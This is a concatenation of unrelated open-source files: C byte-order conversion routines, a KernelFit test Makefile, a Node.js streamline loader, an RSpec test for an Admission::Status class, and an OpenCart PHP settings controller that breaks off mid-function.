be64toh(packed->memory.swap_total); packed->memory.swap_free = be64toh(packed->memory.swap_free); for(i = 0; i < 3; i++) packed->loadavg[i] = be32toh(packed->loadavg[i]); packed->battery.charge_full = be32toh(packed->battery.charge_full); packed->battery.charge_now = be32toh(packed->battery.charge_now); packed->battery.status = be64toh(packed->battery.status); packed->uptime.uptime = be32toh(packed->uptime.uptime); packed->temp_cpu.critical = be16toh(packed->temp_cpu.critical); packed->temp_cpu.cpu_average = be16toh(packed->temp_cpu.cpu_average); packed->temp_hdd.peak = be16toh(packed->temp_hdd.peak); packed->temp_hdd.hdd_average = be16toh(packed->temp_hdd.hdd_average); packed->timestamp = be32toh(packed->timestamp); } void convert_packed_net(rtinfo_network_legacy_t *net) { net->current.up = htobe64(net->current.up); net->current.down = htobe64(net->current.down); net->up_rate = htobe64(net->up_rate); net->down_rate = htobe64(net->down_rate); } void convert_packed_disk(rtinfo_disk_legacy_t *dev) { dev->bytes_read = htobe64(dev->bytes_read); dev->bytes_written = htobe64(dev->bytes_written); dev->read_speed = htobe64(dev->read_speed); dev->write_speed = htobe64(dev->write_speed); dev->iops = htobe64(dev->iops); } void convert_header(netinfo_packed_t *packed) { packed->options = be32toh(packed->options); packed->clientid = be32toh(packed->clientid); packed->version = be32toh(packed->version); }
gpl-3.0
gLENTNER/KernelFit
Source/Makefile
1329
# Copyright (c) Geoffrey Lentner 2015. All Rights Reserved. # See LICENSE file (GPLv3) # KernelSmoother/Source/Makefile # Makefile for building the KernelSmoother source (otherwise, just add the # KernelSmoother.hh and KernelSmoother.cc files to your project as you like). ccflags = -std=c++11 -fopenmp inc = . # compile and run the test programs Test: Run1D Run2D @echo @echo " The following output files have been created: " @echo @echo " Test/raw-1D.dat --> x, y positions of raw data " @echo " Test/fit-1D.dat --> x, y positions of fitted curve " @echo " Test/std-1D.dat --> x, y positions of standard deviations" @echo @echo " Test/raw-2D.dat --> x, y, z positions of raw data" @echo " Test/fit-2D.dat --> z matrix of values for fitted surface" @echo " Test/std-2D.dat --> matrix of values for standard deviations" @echo " Test/lattice-2D.dat --> x, y vectors for mesh-grid" @echo Run1D: Test1D @echo @echo " Running the 1D test ... " @echo @Test/TestKernelFit1D Run2D: Test2D @echo @echo " Running the 2D test ... " @echo @Test/TestKernelFit2D Test1D: Test/TestKernelFit1D.cc g++ -g -o Test/TestKernelFit1D Test/TestKernelFit1D.cc KernelFit.cc \ -I${inc} ${ccflags} Test2D: Test/TestKernelFit2D.cc g++ -o Test/TestKernelFit2D Test/TestKernelFit2D.cc KernelFit.cc \ -I${inc} ${ccflags}
gpl-3.0
phun-ky/heritage
node_modules/neo4j/node_modules/streamline/lib/compiler/underscored.js
7491
"use strict"; var path = require("path"); var fs = require("fs"); var sourceMap = require('source-map'); var sourceMaps = {}; var coffeeMaps = {}; var registered = false; function registerErrorHandler() { if (registered) return; registered = true; function mungeStackFrame(frame) { if (frame.isNative()) return; var fileLocation = ''; var fileName; if (frame.isEval()) { fileName = frame.getScriptNameOrSourceURL(); } else { fileName = frame.getFileName(); } fileName = fileName || "<anonymous>"; var line = frame.getLineNumber(); var column = frame.getColumnNumber(); var map = sourceMaps[fileName]; // V8 gives 1-indexed column numbers, but source-map expects 0-indexed columns. var source = map && map.originalPositionFor({line: line, column: column - 1}); if (source && source.line) { line = source.line; column = source.column + 1; } else if (map) { fileName += " <generated>"; } else { return; } Object.defineProperties(frame, { getFileName: { value: function() { return fileName; } }, getLineNumber: { value: function() { return line; } }, getColumnNumber: { value: function() { return column; } } }); }; var old = Error.prepareStackTrace; if (!old) { // No existing handler? Use a default-ish one. // Copied from http://v8.googlecode.com/svn/branches/bleeding_edge/src/messages.js. old = function(err, stack) { var buf = []; for (var i = 0; i < stack.length; i++) { var line; try { line = " at " + stack[i].toString(); } catch (e) { try { line = "<error: " + e + ">"; } catch (e) { line = "<error>"; } } buf.push(line); } return (err.name || err.message ? err.name + ": " + (err.message || '') + "\n" : "") + // buf.join("\n") + "\n"; } } Error.prepareStackTrace = function(err, stack) { var frames = []; for (var i = 0; i < stack.length; i++) { var frame = stack[i]; if (frame.getFunction() == exports.run) break; mungeStackFrame(frame); frames.push(frame); } return old(err, stack); } } function run(options) { var subdir = "callbacks"; if (options.generators) subdir = options.fast ? "generators-fast" : "generators"; else if (options.fibers) subdir = options.fast ? "fibers-fast" : "fibers"; var transformer = "streamline/lib/" + subdir + "/transform"; var streamline = require(transformer).transform; function clone(obj) { return Object.keys(obj).reduce(function(val, key) { val[key] = obj[key]; return val; }, {}); } var streamliners = { _js: function(module, filename, code, prevMap) { registerErrorHandler(); if (!code) code = fs.readFileSync(filename, "utf8"); // If there's a shebang, strip it while preserving line count. var match = /^#!.*([^\u0000]*)$/.exec(code); if (match) code = match[1]; var cachedTransform = require("streamline/lib/compiler/compileSync").cachedTransformSync; var opts = clone(options); opts.sourceName = filename; opts.lines = opts.lines || 'sourcemap'; opts.prevMap = prevMap; var streamlined = options.cache ? cachedTransform(code, filename, streamline, opts) : streamline(code, opts); if (streamlined instanceof sourceMap.SourceNode) { var streamlined = streamlined.toStringWithSourceMap({ file: filename }); var map = streamlined.map; if (prevMap) { map.applySourceMap(prevMap, filename); } sourceMaps[filename] = new sourceMap.SourceMapConsumer(map.toString()); module._compile(streamlined.code, filename) } else { module._compile(streamlined, filename); } }, _coffee: function(module, filename, code) { registerErrorHandler(); if (!code) code = fs.readFileSync(filename, "utf8"); // Test for cached version so that we shortcircuit CS re-compilation, not just streamline pass var cachedTransform = require("streamline/lib/compiler/compileSync").cachedTransformSync; var opts = clone(options); opts.sourceName = filename; opts.lines = opts.lines || 'sourcemap'; var cached = cachedTransform(code, filename, streamline, opts, true); if (cached) return module._compile(cached, filename); // Compile the source CoffeeScript to regular JS. We make sure to // use the module's local instance of CoffeeScript if possible. var coffee = require("../util/require")("coffee-script", module.filename); var ground = coffee.compile(code, { filename: filename, sourceFiles: [module.filename], sourceMap: 1 }); if (ground.v3SourceMap) { var coffeeMap = new sourceMap.SourceMapConsumer(ground.v3SourceMap); coffeeMaps[filename] = coffeeMap; ground = ground.js; } // Then transform it like regular JS. streamliners._js(module, filename, ground, coffeeMap); } }; // Is CoffeeScript being used? Could be through our own _coffee binary, // through its coffee binary, or through require('coffee-script'). // The latter two add a .coffee require extension handler. var executable = path.basename(process.argv[0]); var coffeeRegistered = require.extensions['.coffee']; var coffeeExecuting = executable === '_coffee'; var coffeePresent = coffeeRegistered || coffeeExecuting; // Register require() extension handlers for ._js and ._coffee, but only // register ._coffee if CoffeeScript is being used. require.extensions['._js'] = streamliners._js; if (coffeePresent) require.extensions['._coffee'] = streamliners._coffee; // If we were asked to register extension handlers only, we're done. if (options.registerOnly) return; // Otherwise, we're being asked to execute (run) a file too. var filename = process.argv[1]; // If we're running via _coffee, we should run CoffeeScript ourselves so // that it can register its regular .coffee handler. We make sure to do // this relative to the caller's working directory instead of from here. // (CoffeeScript 1.7+ no longer registers a handler automatically.) if (coffeeExecuting && !coffeeRegistered) { var coffee = require("../util/require")("coffee-script"); if (typeof coffee.register === 'function') { coffee.register(); } } // We'll make that file the "main" module by reusing the current one. var mainModule = require.main; // Clear the main module's require cache. if (mainModule.moduleCache) { mainModule.moduleCache = {}; } // Set the module's paths and filename. Luckily, Node exposes its native // helper functions to resolve these guys! // https://github.com/joyent/node/blob/master/lib/module.js // Except we need to tell Node that these are paths, not native modules. filename = path.resolve(filename || '.'); mainModule.filename = filename = require("module")._resolveFilename(filename); mainModule.paths = require("module")._nodeModulePaths(path.dirname(filename)); // if node is installed with NVM, NODE_PATH is not defined so we add it to our paths if (!process.env.NODE_PATH) mainModule.paths.push(path.join(__dirname, '../../..')); // And update the process argv and execPath too. process.argv.splice(1, 1, filename) //process.execPath = filename; // Load the target file and evaluate it as the main module. // The input path should have been resolved to a file, so use its extension. // If the file doesn't have an extension (e.g. scripts with a shebang), // go by what executable this was called as. var ext = path.extname(filename) || (coffeeExecuting ? '._coffee' : '._js'); require.extensions[ext](mainModule, filename); } module.exports.run = run;
gpl-3.0
doooby/admission
spec/unit/status_spec.rb
2166
RSpec.describe Admission::Status do def privilege context @fake_privilege_klass ||= Struct.new(:context, :inherited) @fake_privilege_klass.new context end describe '#new' do it 'sets privileges to nil' do instance = Admission::Status.new :person, nil, :rules, :arbiter expect(instance).to have_inst_vars( person: :person, privileges: nil, rules: :rules, arbiter: :arbiter ) instance = Admission::Status.new :person, [], :rules, :arbiter expect(instance).to have_inst_vars( person: :person, privileges: nil, rules: :rules, arbiter: :arbiter ) end it 'sets privileges and freezes them' do instance = Admission::Status.new :person, [:czech], :rules, :arbiter expect(instance).to have_inst_vars( person: :person, privileges: [:czech], rules: :rules, arbiter: :arbiter ) expect(instance.privileges).to be_frozen end it 'sorts privileges by context' do instance = Admission::Status.new :person, [ privilege(nil), privilege(:czech), privilege(15), privilege(:czech), privilege({a: 15}), privilege({a: {f: 1}}), privilege(nil), privilege({a: 15}), ], :rules, :arbiter expect(instance.privileges.map(&:context)).to eq([ nil, nil, :czech, :czech, 15, {:a=>15}, {:a=>15}, {:a=>{:f=>1}} ]) expect(instance.privileges).to be_frozen end end describe '#allowed_in_contexts' do it 'returns empty list for blank privileges' do instance = Admission::Status.new :person, nil, :rules, :arbiter expect(instance.allowed_in_contexts).to eq([]) end it 'lists only context for which any privilege allows it' do priv1 = privilege text: '1' priv2 = privilege text: '2' rules = {can: {priv1 => true}} instance = Admission::Status.new nil, [priv1, priv2], rules, Admission::Arbitration list = instance.allowed_in_contexts :can expect(list).to eq([priv1.context]) end end end
gpl-3.0
dinoweb/lead_store
local/admin/controller/setting/setting.php
47643
<?php class ControllerSettingSetting extends Controller { private $error = array(); public function index() { $this->load->language('setting/setting'); $this->document->setTitle($this->language->get('heading_title')); $this->load->model('setting/setting'); if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) { $this->model_setting_setting->editSetting('config', $this->request->post); if ($this->config->get('config_currency_auto')) { $this->load->model('localisation/currency'); $this->model_localisation_currency->updateCurrencies(); } $this->session->data['success'] = $this->language->get('text_success'); $this->redirect($this->url->link('setting/store', 'token=' . $this->session->data['token'], 'SSL')); } $this->data['heading_title'] = $this->language->get('heading_title'); $this->data['text_select'] = $this->language->get('text_select'); $this->data['text_none'] = $this->language->get('text_none'); $this->data['text_yes'] = $this->language->get('text_yes'); $this->data['text_no'] = $this->language->get('text_no'); $this->data['text_items'] = $this->language->get('text_items'); $this->data['text_product'] = $this->language->get('text_product'); $this->data['text_voucher'] = $this->language->get('text_voucher'); $this->data['text_tax'] = $this->language->get('text_tax'); $this->data['text_account'] = $this->language->get('text_account'); $this->data['text_checkout'] = $this->language->get('text_checkout'); $this->data['text_stock'] = $this->language->get('text_stock'); $this->data['text_affiliate'] = $this->language->get('text_affiliate'); $this->data['text_return'] = $this->language->get('text_return'); $this->data['text_image_manager'] = $this->language->get('text_image_manager'); $this->data['text_browse'] = $this->language->get('text_browse'); $this->data['text_clear'] = $this->language->get('text_clear'); $this->data['text_shipping'] = $this->language->get('text_shipping'); $this->data['text_payment'] = $this->language->get('text_payment'); $this->data['text_mail'] = $this->language->get('text_mail'); $this->data['text_smtp'] = $this->language->get('text_smtp'); $this->data['entry_name'] = $this->language->get('entry_name'); $this->data['entry_owner'] = $this->language->get('entry_owner'); $this->data['entry_address'] = $this->language->get('entry_address'); $this->data['entry_email'] = $this->language->get('entry_email'); $this->data['entry_telephone'] = $this->language->get('entry_telephone'); $this->data['entry_fax'] = $this->language->get('entry_fax'); $this->data['entry_title'] = $this->language->get('entry_title'); $this->data['entry_meta_description'] = $this->language->get('entry_meta_description'); $this->data['entry_layout'] = $this->language->get('entry_layout'); $this->data['entry_template'] = $this->language->get('entry_template'); $this->data['entry_country'] = $this->language->get('entry_country'); $this->data['entry_zone'] = $this->language->get('entry_zone'); $this->data['entry_language'] = $this->language->get('entry_language'); $this->data['entry_admin_language'] = $this->language->get('entry_admin_language'); $this->data['entry_currency'] = $this->language->get('entry_currency'); $this->data['entry_currency_auto'] = $this->language->get('entry_currency_auto'); $this->data['entry_length_class'] = $this->language->get('entry_length_class'); $this->data['entry_weight_class'] = $this->language->get('entry_weight_class'); $this->data['entry_catalog_limit'] = $this->language->get('entry_catalog_limit'); $this->data['entry_admin_limit'] = $this->language->get('entry_admin_limit'); $this->data['entry_product_count'] = $this->language->get('entry_product_count'); $this->data['entry_review'] = $this->language->get('entry_review'); $this->data['entry_download'] = $this->language->get('entry_download'); $this->data['entry_upload_allowed'] = $this->language->get('entry_upload_allowed'); $this->data['entry_voucher_min'] = $this->language->get('entry_voucher_min'); $this->data['entry_voucher_max'] = $this->language->get('entry_voucher_max'); $this->data['entry_tax'] = $this->language->get('entry_tax'); $this->data['entry_vat'] = $this->language->get('entry_vat'); $this->data['entry_tax_default'] = $this->language->get('entry_tax_default'); $this->data['entry_tax_customer'] = $this->language->get('entry_tax_customer'); $this->data['entry_customer_online'] = $this->language->get('entry_customer_online'); $this->data['entry_customer_group'] = $this->language->get('entry_customer_group'); $this->data['entry_customer_group_display'] = $this->language->get('entry_customer_group_display'); $this->data['entry_customer_price'] = $this->language->get('entry_customer_price'); $this->data['entry_account'] = $this->language->get('entry_account'); $this->data['entry_cart_weight'] = $this->language->get('entry_cart_weight'); $this->data['entry_guest_checkout'] = $this->language->get('entry_guest_checkout'); $this->data['entry_checkout'] = $this->language->get('entry_checkout'); $this->data['entry_order_edit'] = $this->language->get('entry_order_edit'); $this->data['entry_invoice_prefix'] = $this->language->get('entry_invoice_prefix'); $this->data['entry_order_status'] = $this->language->get('entry_order_status'); $this->data['entry_complete_status'] = $this->language->get('entry_complete_status'); $this->data['entry_stock_display'] = $this->language->get('entry_stock_display'); $this->data['entry_stock_warning'] = $this->language->get('entry_stock_warning'); $this->data['entry_stock_checkout'] = $this->language->get('entry_stock_checkout'); $this->data['entry_stock_status'] = $this->language->get('entry_stock_status'); $this->data['entry_affiliate'] = $this->language->get('entry_affiliate'); $this->data['entry_commission'] = $this->language->get('entry_commission'); $this->data['entry_return_status'] = $this->language->get('entry_return_status'); $this->data['entry_logo'] = $this->language->get('entry_logo'); $this->data['entry_icon'] = $this->language->get('entry_icon'); $this->data['entry_image_category'] = $this->language->get('entry_image_category'); $this->data['entry_image_thumb'] = $this->language->get('entry_image_thumb'); $this->data['entry_image_popup'] = $this->language->get('entry_image_popup'); $this->data['entry_image_product'] = $this->language->get('entry_image_product'); $this->data['entry_image_additional'] = $this->language->get('entry_image_additional'); $this->data['entry_image_related'] = $this->language->get('entry_image_related'); $this->data['entry_image_compare'] = $this->language->get('entry_image_compare'); $this->data['entry_image_wishlist'] = $this->language->get('entry_image_wishlist'); $this->data['entry_image_cart'] = $this->language->get('entry_image_cart'); $this->data['entry_mail_protocol'] = $this->language->get('entry_mail_protocol'); $this->data['entry_mail_parameter'] = $this->language->get('entry_mail_parameter'); $this->data['entry_smtp_host'] = $this->language->get('entry_smtp_host'); $this->data['entry_smtp_username'] = $this->language->get('entry_smtp_username'); $this->data['entry_smtp_password'] = $this->language->get('entry_smtp_password'); $this->data['entry_smtp_port'] = $this->language->get('entry_smtp_port'); $this->data['entry_smtp_timeout'] = $this->language->get('entry_smtp_timeout'); $this->data['entry_alert_mail'] = $this->language->get('entry_alert_mail'); $this->data['entry_account_mail'] = $this->language->get('entry_account_mail'); $this->data['entry_alert_emails'] = $this->language->get('entry_alert_emails'); $this->data['entry_fraud_detection'] = $this->language->get('entry_fraud_detection'); $this->data['entry_fraud_key'] = $this->language->get('entry_fraud_key'); $this->data['entry_fraud_score'] = $this->language->get('entry_fraud_score'); $this->data['entry_fraud_status'] = $this->language->get('entry_fraud_status'); $this->data['entry_use_ssl'] = $this->language->get('entry_use_ssl'); $this->data['entry_maintenance'] = $this->language->get('entry_maintenance'); $this->data['entry_encryption'] = $this->language->get('entry_encryption'); $this->data['entry_seo_url'] = $this->language->get('entry_seo_url'); $this->data['entry_compression'] = $this->language->get('entry_compression'); $this->data['entry_error_display'] = $this->language->get('entry_error_display'); $this->data['entry_error_log'] = $this->language->get('entry_error_log'); $this->data['entry_error_filename'] = $this->language->get('entry_error_filename'); $this->data['entry_google_analytics'] = $this->language->get('entry_google_analytics'); $this->data['button_save'] = $this->language->get('button_save'); $this->data['button_cancel'] = $this->language->get('button_cancel'); $this->data['tab_general'] = $this->language->get('tab_general'); $this->data['tab_store'] = $this->language->get('tab_store'); $this->data['tab_local'] = $this->language->get('tab_local'); $this->data['tab_option'] = $this->language->get('tab_option'); $this->data['tab_image'] = $this->language->get('tab_image'); $this->data['tab_mail'] = $this->language->get('tab_mail'); $this->data['tab_fraud'] = $this->language->get('tab_fraud'); $this->data['tab_server'] = $this->language->get('tab_server'); if (isset($this->error['warning'])) { $this->data['error_warning'] = $this->error['warning']; } else { $this->data['error_warning'] = ''; } if (isset($this->error['name'])) { $this->data['error_name'] = $this->error['name']; } else { $this->data['error_name'] = ''; } if (isset($this->error['owner'])) { $this->data['error_owner'] = $this->error['owner']; } else { $this->data['error_owner'] = ''; } if (isset($this->error['address'])) { $this->data['error_address'] = $this->error['address']; } else { $this->data['error_address'] = ''; } if (isset($this->error['email'])) { $this->data['error_email'] = $this->error['email']; } else { $this->data['error_email'] = ''; } if (isset($this->error['telephone'])) { $this->data['error_telephone'] = $this->error['telephone']; } else { $this->data['error_telephone'] = ''; } if (isset($this->error['title'])) { $this->data['error_title'] = $this->error['title']; } else { $this->data['error_title'] = ''; } if (isset($this->error['customer_group_display'])) { $this->data['error_customer_group_display'] = $this->error['customer_group_display']; } else { $this->data['error_customer_group_display'] = ''; } if (isset($this->error['voucher_min'])) { $this->data['error_voucher_min'] = $this->error['voucher_min']; } else { $this->data['error_voucher_min'] = ''; } if (isset($this->error['voucher_max'])) { $this->data['error_voucher_max'] = $this->error['voucher_max']; } else { $this->data['error_voucher_max'] = ''; } if (isset($this->error['image_category'])) { $this->data['error_image_category'] = $this->error['image_category']; } else { $this->data['error_image_category'] = ''; } if (isset($this->error['image_thumb'])) { $this->data['error_image_thumb'] = $this->error['image_thumb']; } else { $this->data['error_image_thumb'] = ''; } if (isset($this->error['image_popup'])) { $this->data['error_image_popup'] = $this->error['image_popup']; } else { $this->data['error_image_popup'] = ''; } if (isset($this->error['image_product'])) { $this->data['error_image_product'] = $this->error['image_product']; } else { $this->data['error_image_product'] = ''; } if (isset($this->error['image_additional'])) { $this->data['error_image_additional'] = $this->error['image_additional']; } else { $this->data['error_image_additional'] = ''; } if (isset($this->error['image_related'])) { $this->data['error_image_related'] = $this->error['image_related']; } else { $this->data['error_image_related'] = ''; } if (isset($this->error['image_compare'])) { $this->data['error_image_compare'] = $this->error['image_compare']; } else { $this->data['error_image_compare'] = ''; } if (isset($this->error['image_wishlist'])) { $this->data['error_image_wishlist'] = $this->error['image_wishlist']; } else { $this->data['error_image_wishlist'] = ''; } if (isset($this->error['image_cart'])) { $this->data['error_image_cart'] = $this->error['image_cart']; } else { $this->data['error_image_cart'] = ''; } if (isset($this->error['error_filename'])) { $this->data['error_error_filename'] = $this->error['error_filename']; } else { $this->data['error_error_filename'] = ''; } if (isset($this->error['catalog_limit'])) { $this->data['error_catalog_limit'] = $this->error['catalog_limit']; } else { $this->data['error_catalog_limit'] = ''; } if (isset($this->error['admin_limit'])) { $this->data['error_admin_limit'] = $this->error['admin_limit']; } else { $this->data['error_admin_limit'] = ''; } $this->data['breadcrumbs'] = array(); $this->data['breadcrumbs'][] = array( 'text' => $this->language->get('text_home'), 'href' => $this->url->link('common/home', 'token=' . $this->session->data['token'], 'SSL'), 'separator' => false ); $this->data['breadcrumbs'][] = array( 'text' => $this->language->get('heading_title'), 'href' => $this->url->link('setting/setting', 'token=' . $this->session->data['token'], 'SSL'), 'separator' => ' :: ' ); if (isset($this->session->data['success'])) { $this->data['success'] = $this->session->data['success']; unset($this->session->data['success']); } else { $this->data['success'] = ''; } $this->data['action'] = $this->url->link('setting/setting', 'token=' . $this->session->data['token'], 'SSL'); $this->data['cancel'] = $this->url->link('setting/store', 'token=' . $this->session->data['token'], 'SSL'); $this->data['token'] = $this->session->data['token']; if (isset($this->request->post['config_name'])) { $this->data['config_name'] = $this->request->post['config_name']; } else { $this->data['config_name'] = $this->config->get('config_name'); } if (isset($this->request->post['config_owner'])) { $this->data['config_owner'] = $this->request->post['config_owner']; } else { $this->data['config_owner'] = $this->config->get('config_owner'); } if (isset($this->request->post['config_address'])) { $this->data['config_address'] = $this->request->post['config_address']; } else { $this->data['config_address'] = $this->config->get('config_address'); } if (isset($this->request->post['config_email'])) { $this->data['config_email'] = $this->request->post['config_email']; } else { $this->data['config_email'] = $this->config->get('config_email'); } if (isset($this->request->post['config_telephone'])) { $this->data['config_telephone'] = $this->request->post['config_telephone']; } else { $this->data['config_telephone'] = $this->config->get('config_telephone'); } if (isset($this->request->post['config_fax'])) { $this->data['config_fax'] = $this->request->post['config_fax']; } else { $this->data['config_fax'] = $this->config->get('config_fax'); } if (isset($this->request->post['config_title'])) { $this->data['config_title'] = $this->request->post['config_title']; } else { $this->data['config_title'] = $this->config->get('config_title'); } if (isset($this->request->post['config_meta_description'])) { $this->data['config_meta_description'] = $this->request->post['config_meta_description']; } else { $this->data['config_meta_description'] = $this->config->get('config_meta_description'); } if (isset($this->request->post['config_layout_id'])) { $this->data['config_layout_id'] = $this->request->post['config_layout_id']; } else { $this->data['config_layout_id'] = $this->config->get('config_layout_id'); } $this->load->model('design/layout'); $this->data['layouts'] = $this->model_design_layout->getLayouts(); if (isset($this->request->post['config_template'])) { $this->data['config_template'] = $this->request->post['config_template']; } else { $this->data['config_template'] = $this->config->get('config_template'); } $this->data['templates'] = array(); $directories = glob(DIR_CATALOG . 'view/theme/*', GLOB_ONLYDIR); $local_directories = glob(DIR_LOCAL_CATALOG . 'view/theme/*', GLOB_ONLYDIR); $directories = array_merge($directories, $local_directories); foreach ($directories as $directory) { $this->data['templates'][] = basename($directory); } if (isset($this->request->post['config_country_id'])) { $this->data['config_country_id'] = $this->request->post['config_country_id']; } else { $this->data['config_country_id'] = $this->config->get('config_country_id'); } $this->load->model('localisation/country'); $this->data['countries'] = $this->model_localisation_country->getCountries(); if (isset($this->request->post['config_zone_id'])) { $this->data['config_zone_id'] = $this->request->post['config_zone_id']; } else { $this->data['config_zone_id'] = $this->config->get('config_zone_id'); } if (isset($this->request->post['config_language'])) { $this->data['config_language'] = $this->request->post['config_language']; } else { $this->data['config_language'] = $this->config->get('config_language'); } $this->load->model('localisation/language'); $this->data['languages'] = $this->model_localisation_language->getLanguages(); if (isset($this->request->post['config_admin_language'])) { $this->data['config_admin_language'] = $this->request->post['config_admin_language']; } else { $this->data['config_admin_language'] = $this->config->get('config_admin_language'); } if (isset($this->request->post['config_currency'])) { $this->data['config_currency'] = $this->request->post['config_currency']; } else { $this->data['config_currency'] = $this->config->get('config_currency'); } if (isset($this->request->post['config_currency_auto'])) { $this->data['config_currency_auto'] = $this->request->post['config_currency_auto']; } else { $this->data['config_currency_auto'] = $this->config->get('config_currency_auto'); } $this->load->model('localisation/currency'); $this->data['currencies'] = $this->model_localisation_currency->getCurrencies(); if (isset($this->request->post['config_length_class_id'])) { $this->data['config_length_class_id'] = $this->request->post['config_length_class_id']; } else { $this->data['config_length_class_id'] = $this->config->get('config_length_class_id'); } $this->load->model('localisation/length_class'); $this->data['length_classes'] = $this->model_localisation_length_class->getLengthClasses(); if (isset($this->request->post['config_weight_class_id'])) { $this->data['config_weight_class_id'] = $this->request->post['config_weight_class_id']; } else { $this->data['config_weight_class_id'] = $this->config->get('config_weight_class_id'); } $this->load->model('localisation/weight_class'); $this->data['weight_classes'] = $this->model_localisation_weight_class->getWeightClasses(); if (isset($this->request->post['config_catalog_limit'])) { $this->data['config_catalog_limit'] = $this->request->post['config_catalog_limit']; } else { $this->data['config_catalog_limit'] = $this->config->get('config_catalog_limit'); } if (isset($this->request->post['config_admin_limit'])) { $this->data['config_admin_limit'] = $this->request->post['config_admin_limit']; } else { $this->data['config_admin_limit'] = $this->config->get('config_admin_limit'); } if (isset($this->request->post['config_product_count'])) { $this->data['config_product_count'] = $this->request->post['config_product_count']; } else { $this->data['config_product_count'] = $this->config->get('config_product_count'); } if (isset($this->request->post['config_review_status'])) { $this->data['config_review_status'] = $this->request->post['config_review_status']; } else { $this->data['config_review_status'] = $this->config->get('config_review_status'); } if (isset($this->request->post['config_download'])) { $this->data['config_download'] = $this->request->post['config_download']; } else { $this->data['config_download'] = $this->config->get('config_download'); } if (isset($this->request->post['config_upload_allowed'])) { $this->data['config_upload_allowed'] = $this->request->post['config_upload_allowed']; } else { $this->data['config_upload_allowed'] = $this->config->get('config_upload_allowed'); } if (isset($this->request->post['config_voucher_min'])) { $this->data['config_voucher_min'] = $this->request->post['config_voucher_min']; } else { $this->data['config_voucher_min'] = $this->config->get('config_voucher_min'); } if (isset($this->request->post['config_voucher_max'])) { $this->data['config_voucher_max'] = $this->request->post['config_voucher_max']; } else { $this->data['config_voucher_max'] = $this->config->get('config_voucher_max'); } if (isset($this->request->post['config_tax'])) { $this->data['config_tax'] = $this->request->post['config_tax']; } else { $this->data['config_tax'] = $this->config->get('config_tax'); } if (isset($this->request->post['config_vat'])) { $this->data['config_vat'] = $this->request->post['config_vat']; } else { $this->data['config_vat'] = $this->config->get('config_vat'); } if (isset($this->request->post['config_tax_default'])) { $this->data['config_tax_default'] = $this->request->post['config_tax_default']; } else { $this->data['config_tax_default'] = $this->config->get('config_tax_default'); } if (isset($this->request->post['config_tax_customer'])) { $this->data['config_tax_customer'] = $this->request->post['config_tax_customer']; } else { $this->data['config_tax_customer'] = $this->config->get('config_tax_customer'); } if (isset($this->request->post['config_customer_online'])) { $this->data['config_customer_online'] = $this->request->post['config_customer_online']; } else { $this->data['config_customer_online'] = $this->config->get('config_customer_online'); } if (isset($this->request->post['config_customer_group_id'])) { $this->data['config_customer_group_id'] = $this->request->post['config_customer_group_id']; } else { $this->data['config_customer_group_id'] = $this->config->get('config_customer_group_id'); } $this->load->model('sale/customer_group'); $this->data['customer_groups'] = $this->model_sale_customer_group->getCustomerGroups(); if (isset($this->request->post['config_customer_group_display'])) { $this->data['config_customer_group_display'] = $this->request->post['config_customer_group_display']; } elseif ($this->config->get('config_customer_group_display')) { $this->data['config_customer_group_display'] = $this->config->get('config_customer_group_display'); } else { $this->data['config_customer_group_display'] = array(); } if (isset($this->request->post['config_customer_price'])) { $this->data['config_customer_price'] = $this->request->post['config_customer_price']; } else { $this->data['config_customer_price'] = $this->config->get('config_customer_price'); } if (isset($this->request->post['config_account_id'])) { $this->data['config_account_id'] = $this->request->post['config_account_id']; } else { $this->data['config_account_id'] = $this->config->get('config_account_id'); } $this->load->model('catalog/information'); $this->data['informations'] = $this->model_catalog_information->getInformations(); if (isset($this->request->post['config_cart_weight'])) { $this->data['config_cart_weight'] = $this->request->post['config_cart_weight']; } else { $this->data['config_cart_weight'] = $this->config->get('config_cart_weight'); } if (isset($this->request->post['config_guest_checkout'])) { $this->data['config_guest_checkout'] = $this->request->post['config_guest_checkout']; } else { $this->data['config_guest_checkout'] = $this->config->get('config_guest_checkout'); } if (isset($this->request->post['config_checkout_id'])) { $this->data['config_checkout_id'] = $this->request->post['config_checkout_id']; } else { $this->data['config_checkout_id'] = $this->config->get('config_checkout_id'); } if (isset($this->request->post['config_order_edit'])) { $this->data['config_order_edit'] = $this->request->post['config_order_edit']; } elseif ($this->config->get('config_order_edit')) { $this->data['config_order_edit'] = $this->config->get('config_order_edit'); } else { $this->data['config_order_edit'] = 7; } if (isset($this->request->post['config_invoice_prefix'])) { $this->data['config_invoice_prefix'] = $this->request->post['config_invoice_prefix']; } elseif ($this->config->get('config_invoice_prefix')) { $this->data['config_invoice_prefix'] = $this->config->get('config_invoice_prefix'); } else { $this->data['config_invoice_prefix'] = 'INV-' . date('Y') . '-00'; } if (isset($this->request->post['config_order_status_id'])) { $this->data['config_order_status_id'] = $this->request->post['config_order_status_id']; } else { $this->data['config_order_status_id'] = $this->config->get('config_order_status_id'); } if (isset($this->request->post['config_complete_status_id'])) { $this->data['config_complete_status_id'] = $this->request->post['config_complete_status_id']; } else { $this->data['config_complete_status_id'] = $this->config->get('config_complete_status_id'); } $this->load->model('localisation/order_status'); $this->data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses(); if (isset($this->request->post['config_stock_display'])) { $this->data['config_stock_display'] = $this->request->post['config_stock_display']; } else { $this->data['config_stock_display'] = $this->config->get('config_stock_display'); } if (isset($this->request->post['config_stock_warning'])) { $this->data['config_stock_warning'] = $this->request->post['config_stock_warning']; } else { $this->data['config_stock_warning'] = $this->config->get('config_stock_warning'); } if (isset($this->request->post['config_stock_checkout'])) { $this->data['config_stock_checkout'] = $this->request->post['config_stock_checkout']; } else { $this->data['config_stock_checkout'] = $this->config->get('config_stock_checkout'); } if (isset($this->request->post['config_stock_status_id'])) { $this->data['config_stock_status_id'] = $this->request->post['config_stock_status_id']; } else { $this->data['config_stock_status_id'] = $this->config->get('config_stock_status_id'); } $this->load->model('localisation/stock_status'); $this->data['stock_statuses'] = $this->model_localisation_stock_status->getStockStatuses(); if (isset($this->request->post['config_affiliate_id'])) { $this->data['config_affiliate_id'] = $this->request->post['config_affiliate_id']; } else { $this->data['config_affiliate_id'] = $this->config->get('config_affiliate_id'); } if (isset($this->request->post['config_commission'])) { $this->data['config_commission'] = $this->request->post['config_commission']; } elseif ($this->config->has('config_commission')) { $this->data['config_commission'] = $this->config->get('config_commission'); } else { $this->data['config_commission'] = '5.00'; } if (isset($this->request->post['config_return_status_id'])) { $this->data['config_return_status_id'] = $this->request->post['config_return_status_id']; } else { $this->data['config_return_status_id'] = $this->config->get('config_return_status_id'); } 